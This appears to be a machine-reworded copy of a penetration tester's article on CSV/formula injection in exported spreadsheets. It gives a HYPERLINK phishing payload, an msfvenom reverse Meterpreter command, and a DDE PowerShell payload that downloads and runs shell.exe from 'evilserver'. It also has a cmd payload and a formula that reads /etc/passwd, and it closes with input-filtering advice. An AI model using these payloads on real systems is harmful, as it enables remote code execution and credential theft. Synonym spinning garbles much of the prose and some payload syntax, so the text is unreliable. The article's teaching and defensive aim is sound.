Data Extraction to Command Execution CSV Injection


As web applications get more complex and more information driven, the capability to extract information from a web application is ending up being more typical. I work as a primary penetration tester on Veracode’’ s MPT group, and most of web applications that we check nowadays have the capability to extract information in a CSV format. The most typical software application set up in business environments is Microsoft Excel, and this software application has the capability to open CSV files (in many cases, this is the default). It ought to be kept in mind that this kind of attack would likewise impact LibreOffice as it would likewise translate the payload as formula.

.Assault Requirements.

In order to carry out a standard attack, a variety of requirements are required. An assailant requires the capability to inject a payload into the tables within the application. The application requires to enable a victim to download this information into CSV format that can then be opened in Excel. This would trigger the payload to be analyzed as an Excel formula and run.

.Fundamental Attack.

1. Browse the application to discover an area where any information input can be drawn out.


2. Inject Payload =HYPERLINK(““ “, “ Click for Report “”-RRB-



3. Validate the application is susceptible to this kind of attack. Extract the information and verify the payload has actually been injected by opening the CSV file in Microsoft Excel.


4. You can then see a ““ Click for Report link” ” in the Excel File. This shows the payload has actually been injected properly.


In this situation, when the victim clicks the link, it will take them to the Veracode site. This kind of attack may not appear too major, however think about the following:

Instead of rerouting an end user to the Veracode site, we might reroute completion user to a server we managed, which included a clone of the site. We might then ask the victim to validate to our clone site, enabling us as the enemy to take his/her qualifications. We might then utilize these qualifications on the initial site and have access to all his/her individual info or any performance the account has access to. There are likewise a variety of other attacks possible with this kind of formula injection, consisting of exfiltrating delicate information, acquiring remote code execution, and even checking out the contents of specific files under the ideal situations. We can take a look at among these kinds of attacks listed below.

.Advance Attack –– Remote Command Execution.

An advanced attack would utilize the exact same approach as above however with a various payload, which would result in remote code execution. This kind of attack does depend upon a variety of aspects and may not constantly be possible. It’’ s still worth thinking about and likewise highlights how severe this vulnerability can be under the ideal situations.

.Attack in Steps.

1. We’’ ll utilize a shell.exe file, which can include whatever we wish to perform on the system however, in this circumstance, we will utilize msfvenom to develop a reverse Meterpreter payload.

msfvenom -p windows/meterpreter/reverse _ tcp -a x64– platform Windows LHOST=<> LPORT= 1234 -f exe>> shell.exe


2. We likewise require to establish a listener that will await the link back to us as soon as the shell.exe payload has actually been carried out on the victim’’ s device. We will utilize Metasploit multi/handler for this example. We require to set the LPORT and likewise ensure the IP address is right.


3. We likewise require to host the shell.exe payload so it can be downloaded. For this, I utilized the following command, python -m SimpleHTTPServer 1337, which will establish a basic web server in the present directory site on my system. A genuine attack may host this on a jeopardized web server.

4. As soon as all this has actually been established, we might then inject the payload into the application and await a victim to download the CSV file and click the cell with the payload in it.

= cmd |’/ C powershell Invoke-WebRequest “ http://evilserver:1337/shell.exe

– OutFile “$ env: Temp shell.exe”; Start-Process “$ env: Temp shell.exe”‘! A1

.Breakdown of Payload.The very first line is calling cmd, which gets passed to the PowerShell Invoke-WebRequest to download a shell.exe file from our evilserver on port 1337. Keep in mind that if the host is running PowerShell variation 2, the Invoke-WebRequest won’’ t work. The next line is conserving the shell.exe file into the temperature directory site. The factor we utilize the temperature directory site is due to the fact that it’’ s a folder anybody can compose to.We then begin a procedure to perform the downloaded shell.exe payload.

5. When the victim opens the file, the CSV injection payload would run. It might provide a ““ Remote Data Not Accessible” ” caution. The opportunities are that the majority of victims would believe the file has actually originated from a genuine source therefore they require to choose yes to see the information. It ought to likewise be kept in mind that in this circumstance the Excel file is empty apart from our payload. In a real-world attack, the Excel file would be occupied with info from the application.

6. When the victim chooses yes, within a couple of minutes, Metasploit will get a reverse link from the victim’’ s host.


7. At this moment, the opponent can carry out a variety of jobs depending upon the level of gain access to she or he has actually acquired. This consists of, however is not restricted to, taking passwords in memory, assaulting other systems in the network (if this host is linked to a network), taking control of usages’ ’ cams, and so on. Under the best situations, it would be possible to jeopardize a whole domain utilizing this attack.

When screening for CSV injections, in the majority of circumstances, a tester will utilize a basic payload. This is because of a variety of factors. It’’ s not unusual for a tester to show this kind of attack by utilizing a Hyperlink payload like the one above, or a basic cmd payload like the following =cmd|’’/’C cmd.exe ’! ’ A.


Some may likewise utilize the following payload depending upon the os: =’ file:// etc/passwd’ #$ passwd.A1

This would check out the very first line within the etc/passwd file on a Linux system.

.Alleviating the Risk.

The finest method to reduce versus this kind of attack is to make certain all users’ ’ inputs are filtered so just anticipated characters are permitted. When processing, client-supplied inputs ought to constantly be thought about hazardous and treated with care. CSV injection is an adverse effects of bad input recognition, and other kinds of web attacks are because of weak input recognition. To alleviate versus CSV injections, a default-deny routine expression or ““ whitelist ” routine expression needs to be utilized to filter all information that is sent to the application. Since Excel and CSV files make use of equates to indications (=-RRB-, plus indications (+), minus indications (-), and ““ At ” signs (@) to signify solutions, we suggest filtering these out to make sure no cells start with these characters. Any component that might appear in a report might be a target for Excel/ CSV injections and ought to be more verified for CSV injection.

In summary, CSV injection is not a brand-new attack vector, however it’’ s one that designers typically ignore. As more web applications have the capability to extract information, it’’ s one that might have major effects if actions are not required to alleviate the danger it positions. In addition, designers ought to be inspecting user input for other kinds of attacks like XSS.


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